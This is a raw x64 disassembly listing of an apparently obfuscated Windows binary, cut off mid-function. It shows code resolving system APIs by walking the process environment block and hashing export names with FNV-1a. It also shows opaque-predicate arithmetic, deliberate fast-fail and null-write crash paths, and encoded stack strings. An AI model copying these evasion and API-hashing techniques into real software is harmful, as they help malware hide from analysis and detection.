psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140128540
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140128531
cmp edx, edi
jne 0x140128614
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140128614
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140128614
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14012859f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140128594
cmp edx, esi
je 0x1401285b3
test ebx, ebx
jne 0x140128580
jmp 0x140128614
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14012862c
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14012862c
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401285f3
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401285e5
jmp 0x140128607
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x1401285fc
mov r9, qword [r14]
mov rax, qword [r9]
mov r9, rax
cmp rax, r14
je 0x140128629
cmp qword [rax + 0x30], r12
jne 0x140128505
mov r9, r12
mov qword [0x1417185e8], r9
xor ecx, ecx
int 0x29
mov r9d, r12d
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.140167c84
movsx ecx, al
add esi, ecx
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add ebx, ecx
call fcn.140167c74
movsx r11d, al
call fcn.140167c78
movsx ecx, al
imul r11d, ecx
call fcn.140167c84
movsx edi, al
mov r10d, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140128748
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140128748
mov r10d, r13d
jmp 0x14012879f
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012879f
lea ecx, [r11 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r11*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x1401287cf
mov rax, r13
mov qword [rsp + 0x20], rax
mov rcx, r13
mov qword [rsp + rcx*8 + 0x20], rax
mov rax, qword [rsp + 0x20]
add rax, 1
mov rcx, rax
mov qword [rsp + 0x20], rax
jne 0x1401287af
add r9d, r13d
jmp 0x14012869c
mov qword [0], 0x99
jmp 0x1401287e0
xor r12d, r12d
call fcn.14011a0b8
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140129592
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1401fdb28]
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401288dc
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401288dc
mov r13d, 1
mov r10d, r13d
jmp 0x14012897c
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140128971
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
jmp 0x140128976
mov r10d, dword [rsp + 0x20]
mov r13d, 1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140129592
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140128ba9
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b05]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140128ac3
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140128ac3
mov r10d, r13d
jmp 0x140128b5d
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140128b58
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
jmp 0x140128b5d
mov r10d, dword [rsp + 0x20]
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140128ba9
call fcn.140167c8c
mov rdx, qword [0x1417184d0]
test rdx, rdx
jne 0x140128d04
mov edi, r12d
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140128c20
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140128c13
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140128c04
cmp edx, edi
jne 0x140128ce5
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140128ce5
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140128ce5
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140128c72
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140128c67
cmp edx, esi
je 0x140128c86
test ebx, ebx
jne 0x140128c53
jmp 0x140128ce5
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140128cfd
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140128cfd
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140128cc6
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140128cb8
jmp 0x140128cd9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140128cce
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140128cfa
cmp qword [rax + 0x30], r12
jne 0x140128bd8
mov rdx, r12
mov qword [0x1417184d0], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x141718608]
test rbx, rbx
jne 0x140128e66
mov edi, r12d
mov esi, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140128d82
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140128d75
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140128d66
cmp edx, edi
jne 0x140128e47
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140128e47
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140128e47
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140128dd4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140128dc9
cmp edx, esi
je 0x140128de8
test ebx, ebx
jne 0x140128db5
jmp 0x140128e47
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140128e5f
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140128e5f
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140128e28
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140128e1a
jmp 0x140128e3b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x140128e30
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140128e5c
cmp qword [rax + 0x30], r12
jne 0x140128d3a
mov rbx, r12
mov qword [0x141718608], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x141718600]
test rdx, rdx
jne 0x140128fce
mov edi, r12d
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140128eea
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140128edd
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140128ece
cmp edx, edi
jne 0x140128faf
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140128faf
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140128faf
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140128f3c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140128f31
cmp edx, esi
je 0x140128f50
test ebx, ebx
jne 0x140128f1d
jmp 0x140128faf
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140128fc7
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140128fc7
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140128f90
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140128f82
jmp 0x140128fa3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140128f98
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140128fc4
cmp qword [rax + 0x30], r12
jne 0x140128ea2
mov rdx, r12
mov qword [0x141718600], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f8]
test rdx, rdx
jne 0x14012912d
mov edi, r12d
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140129049
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012903c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012902d
cmp edx, edi
jne 0x14012910e
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012910e
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012910e
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012909b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140129090
cmp edx, esi
je 0x1401290af
test ebx, ebx
jne 0x14012907c
jmp 0x14012910e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140129126
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140129126
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401290ef
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401290e1
jmp 0x140129102
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401290f7
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140129123
cmp qword [rax + 0x30], r12
jne 0x140129001
mov rdx, r12
mov qword [0x1417185f8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f0]
test rdx, rdx
jne 0x14012928c
mov edi, r12d
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401291a8
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012919b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012918c
cmp edx, edi
jne 0x14012926d
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012926d
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012926d
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401291fa
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401291ef
cmp edx, esi
je 0x14012920e
test ebx, ebx
jne 0x1401291db
jmp 0x14012926d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140129285
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140129285
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012924e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140129240
jmp 0x140129261
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140129256
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140129282
cmp qword [rax + 0x30], r12
jne 0x140129160
mov rdx, r12
mov qword [0x1417185f0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1417185e8], r12
jne 0x1401293ea
mov edi, r12d
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r9, r14
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140129304
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401292f7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401292e8
cmp edx, edi
jne 0x1401293cb
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401293cb
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401293cb
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140129356
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14012934b
cmp edx, esi
je 0x14012936a
test ebx, ebx
jne 0x140129337
jmp 0x1401293cb
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1401293e3
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x1401293e3
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401293aa
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x14012939c
jmp 0x1401293be
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x1401293b3
mov r9, qword [r14]
mov rax, qword [r9]
mov r9, rax
cmp rax, r14
je 0x1401293e0
cmp qword [rax + 0x30], r12
jne 0x1401292bc
mov r9, r12
mov qword [0x1417185e8], r9
xor ecx, ecx
int 0x29
mov r9d, r12d
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.140167c84
movsx ecx, al
add esi, ecx
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add ebx, ecx
call fcn.140167c74
movsx r11d, al
call fcn.140167c78
movsx ecx, al
imul r11d, ecx
call fcn.140167c84
movsx edi, al
mov r10d, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401294ff
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x1401294ff
mov r10d, r13d
jmp 0x140129556
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140129556
lea ecx, [r11 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r11*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x140129586
mov rax, r13
mov qword [rsp + 0x20], rax
mov rcx, r13
mov qword [rsp + rcx*8 + 0x20], rax
mov rax, qword [rsp + 0x20]
add rax, 1
mov rcx, rax
mov qword [rsp + 0x20], rax
jne 0x140129566
add r9d, r13d
jmp 0x140129453
mov qword [0], 0x99
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
mov dword [rbp - 0x70], 0x63ce61a7
mov dword [rbp - 0x6c], 0x67c465cb
mov dword [rbp - 0x68], 0x6bc669c9
mov dword [rbp - 0x64], 0x6fde6dd0
mov dword [rbp - 0x60], 0x53fd51c2
mov dword [rbp - 0x5c], 0x57f355f7
mov dword [rbp - 0x58], 0x5bc959cb
mov dword [rbp - 0x54], 0x5fff5d94
mov dword [rbp - 0x50], 0x43e941e3
mov dword [rbp - 0x4c], 0x47d445e1
mov word [rbp - 0x48], 0x4948
mov qword [rbp - 0x46], rax
mov dword [rbp - 0x3e], eax
lea r14d, [rax + 0x10]
mov r13b, 0x60
mov r15b, 0x40
mov dil, byte [rsp + 0x30]
call fcn.14018987c
mov rbx, qword [rax]
call fcn.140189884
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x36
jae 0x140129f16
movzx r8d, byte [rbp + r9 - 0x70]
mov r11, r8
cmp rbx, r9
ja 0x140129f0d
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14012965b
movabs rcx, 0x6bbc260f21f75d90
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, r14b
jmp 0x140129688
je 0x140129e91
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140129e42
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140129e29
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140129deb
mov r11b, reloc.WS2_32.dll_WSASetLastError
cmp r10, r9
ja 0x140129f04
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x1401296b8
lea edx, [r9 - 0x30]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
